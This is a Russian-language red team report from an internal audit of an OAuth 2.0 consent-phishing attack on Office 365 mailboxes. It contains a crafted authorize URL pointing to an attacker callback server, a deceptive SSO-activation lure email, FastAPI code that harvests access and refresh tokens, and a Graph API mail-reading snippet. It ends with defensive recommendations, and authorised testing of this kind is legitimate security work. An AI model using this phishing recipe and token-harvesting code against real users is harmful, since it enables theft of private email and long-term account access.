
В рамках проведения внутреннего аудита информационной безопасности (Red Team) перед нами стояла задача найти новые вектора атаки на инфраструктуру компанию. Мы знали, что все оконечные устройства оснащены EDR с поведенческим анализом. На периметре не было уязвимых сервисов или других точек входа. Решили сосредоточить свои усилия в рамках данного тестирования на сотрудниках компании, реализовать фишинговую компанию. Почтовый сервер — Microsoft Office 365. Наличие EDR на оконечные устройства сразу исключило классические методы с вредоносными вложениями - исполняемые файлы, макросы или эксплойты для Office были бы либо заблокированы, либо мгновенно обнаружены. Поэтому мы выбрали тактику: атаку не на уязвимости клиентского ПО, а на сам процесс авторизации OAuth 2.0 в Office 365, с целью получения содержимого почтовых ящиков без единого вредоносного файла.
Тактику, которую мы выбрали, известна как OAuth 2.0 authorization code flow. Мы не отправляли ссылку на поддельную страницу входа. Вместо этого мы заставили пользователя нажать кнопку «Принять» внутри легитимного окна Microsoft, после чего с помощью API спокойно читали его почту.
Ключевая особенность экосистемы Microsoft 365 заключается в том, что она построена на Azure Active Directory. Любое внешнее приложение может получить доступ к данным пользователя, если получит его явное согласие (consent) и токен. Этим мы и воспользовались.
Для начала на портале Azure AD в разделе «Регистрация приложений» (App registrations) мы создали новое приложение с типом «Web».
Перешли на портал Azure AD → «Регистрация приложений» (App registrations).
Создали приложение с типом «Web».
В качестве URI перенаправления (
redirect_uri) указали: https://myJiracallback.com/callbackСгенерировали client_secret и получили client_id
Далее мы сформировали специальную ссылку, ведущую не на поддельный, а на самый настоящий сайт login.microsoftonline.com. Параметры этой ссылки включали наш client_id, тип ответа code, наш redirect_uri, а самое главное - набор запрашиваемых разрешений (scope): Mail.Read (чтение писем, тел и вложений), offline_access (позволяет получить refresh_token для долгосрочного доступа).
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=11111111-aaaa-2222-bbbb-333333333333 &response_type=code &redirect_uri=https://myJiracallback.com/callback &response_mode=query &scope=Mail.Read%20offline_access &state=уникальный_идентификатор_пользователя```
Помимо публично common существуют еще organizations,consumers или {tenant} конкретной организации. Ниже представлена таблица с описанием параметров запросов.
Parameter |
Required/optional |
Description |
|---|---|---|
tenant |
required |
The {tenant} value in the path of the request can be used to control who can sign into the application. Valid values are common, organizations, consumers, and tenant identifiers. For more information, see Endpoints. |
client_id |
required |
The Application (client) ID that the Microsoft Entra admin center – App registrations page assigned to your app. |
scope |
optional |
A space-separated list of scopes. The scopes must all be from a single resource, along with OIDC scopes (profile, openid, email). For more information, see Permissions and consent in the Microsoft identity platform. This parameter is a Microsoft extension to the authorization code flow, intended to allow apps to declare the resource they want the token for during token redemption. |
code |
required |
The authorization_code that you acquired in the first leg of the flow. |
redirect_uri |
required |
The same redirect_uri value that was used to acquire the authorization_code. |
grant_type |
required |
Must be authorization_code for the authorization code flow. |
code_verifier |
recommended |
The same code_verifier that was used to obtain the authorization_code. Required if PKCE was used in the authorization code grant request. For more information, see the PKCE RFC. |
client_secret |
required for confidential web apps |
The application secret that you created in the app registration portal for your app. Don't use the application secret in a native app or single page app because a client_secret can't be reliably stored on devices or web pages. It's required for web apps and web APIs, which can store the client_secret securely on the server side. Like all parameters here, the client secret must be URL-encoded before being sent. This step is done by the SDK. For more information on URI encoding, see the URI Generic Syntax specification. The Basic auth pattern of instead providing credentials in the Authorization header, per RFC 6749 is also supported. |
Ссылка была минимизирована через сервис коротких ссылок и внедрена в тело обычного текстового письма.
Уважаемые коллеги,
Отдел информационной безопасности совместно с ИТ-департаментом внедряет единое окно аутентификации (SSO) для всех корпоративных веб-сервисов.
Теперь для входа в Jira, Confluence, SharePoint и другие платформы не нужно будет запоминать отдельные пароли — достаточно одного корпоративного аккаунта Microsoft 365.
Чтобы активировать новую возможность для вашей учётной записи, выполните всего одно действие: URL
Если вы не активируете подключение до 30 мая, доступ к Jira и Confluence будет временно ограничен.
Когда сотрудник нажимал «Принять» (Accept) в окне разрешений Microsoft, браузер перенаправляет code на myJiracallback.com/callback?code=0.AX...&state=user1.
Чтобы понять как работает данная схема подробно опишем шаги которые необходимо сделать для авторизации нативного приложения (Native App) для доступа к Web API с использованием протокола OAuth 2.0.

Этап |
Действие |
Что происходит |
|---|---|---|
1 |
Получение письма пользователем |
Пользователь открывает письмо браузере ** с адресом |
2 |
Аутентификации + Согласие пользователя |
В браузере входит в учётную запись и даёт согласие |
3 |
Браузер пользователя редиректит на наш сервер authorization code |
Возвращается authorization code (одноразовый код) |
4 |
Делаем запрос к Microsoft для получения access token и refresh token |
Наш сервис отправляет authorization code,client_secret,client_id на сервер Microsoft |
5 |
Получаем access token и refresh token |
Сервер Microsoft отдаёт access token и refresh token (долгоживущий) |
6 |
Используя access token делаем запрос к почтовому сервису. |
Наш сервис вызывает API, передавая access token в заголовке |
Обновление Access token |
Access token истекает |
|
1 |
Отправляем запрос в Microsoft |
Приложение отправляет refresh token (вместе с client_id) |
2 |
Получаем данные от Microsoft |
Сервер выдаёт новый access token + новый refresh token |
Шаги 1,2 делает пользователь, а все остальные шаги 3-6 делаем мы.
Нам нужен был массовый сбор ответов, поэтому мы подняли простой веб-сервер на FastAPI
`@app.get("/callback") async def oauth_callback(code: str, state: str = None): # Обмениваем код на токен token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token" data = { "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "code": code, "redirect_uri": REDIRECT_URI, "grant_type": "authorization_code", } response = requests.post(token_url, data=data) tokens = response.json() save_to_db(state, tokens) # сохраняем в БД с меткой сотрудника
В ответ от Microsoft приходил JSON-объект, содержащий три ключевых элемента: access_token (живет около часа), refresh_token (живет до 90 дней) и список выданных scope. Мы сохраняли эти токены в базе данных с привязкой к идентификатору сотрудника из параметра state.
{ access_token": "eyJ0eXAKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5HVEZ2ZEstZnl0aEV1Q...", "token_type": "Bearer", "expires_in": 3599, "scope": "https%3A%2F%2Fgraph.microsoft.com%2Fmail.read", "refresh_token": "AwABAAAAvPM1KaPlrEqdFSBzjqfTGAMxZGUTdM0t4B4...", "id_token":"eyJ0eXAiOiJKV1QiLCJhGciOiJub25lIn0.eyJhdWQiOiIyZDRkMTFhMi1mODE0tOD..." }
Ниже представлена таблица с описанием параметров ответа от Microsoft.
Parameter |
Description |
|---|---|
access_token |
The requested access token. The app can use this token to authenticate to the secured resource, such as a web API. |
token_type |
Indicates the token type value. The only type that Microsoft Entra ID supports is |
expires_in |
How long the access token is valid, in seconds. |
scope |
The scopes that the |
refresh_token |
An OAuth 2.0 refresh token. The app can use this token to acquire other access tokens after the current access token expires. Refresh tokens are long-lived. They can maintain access to resources for extended periods. For more detail on refreshing an access token, refer to Refresh the access token later in this article. Note: Only provided if |
id_token |
A JSON Web Token. The app can decode the segments of this token to request information about the user who signed in. The app can cache the values and display them, and confidential clients can use this token for authorization. For more information about id_tokens, see the |
Используя данные из нашей БД мы можем авторизовываться и читать почту пользователей.
headers = {"Authorization": f"Bearer {access_token}"} resp = requests.get( "https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,receivedDateTime,from,hasAttachments&$orderby=receivedDateTime desc", headers=headers ) emails = resp.json().get("value", [])
За два часа рассылки (в ней участвовало 300 сотрудников ) 132 человека (44%) перешли по ссылке, 98 из них (32,6%) нажали «Принять» в окне OAuth2 и предоставили доступ к своей почте. Люди предоставляют доступ к своим данным, если атака использует легитимный интерфейс Microsoft и не вызывает подозрений.
Меры реагирования
1. Включить политику «User consent to apps» → Allow user consent for verified publishers only или Deny user consent второй вариант предпочтительней
2. Настроить сбор логов Azure AD в SIEM с корреляцией Consent + массовый MailItemsAccessed
3. Включить политику: доступ к Graph API только с гибридных устройств или через VPN.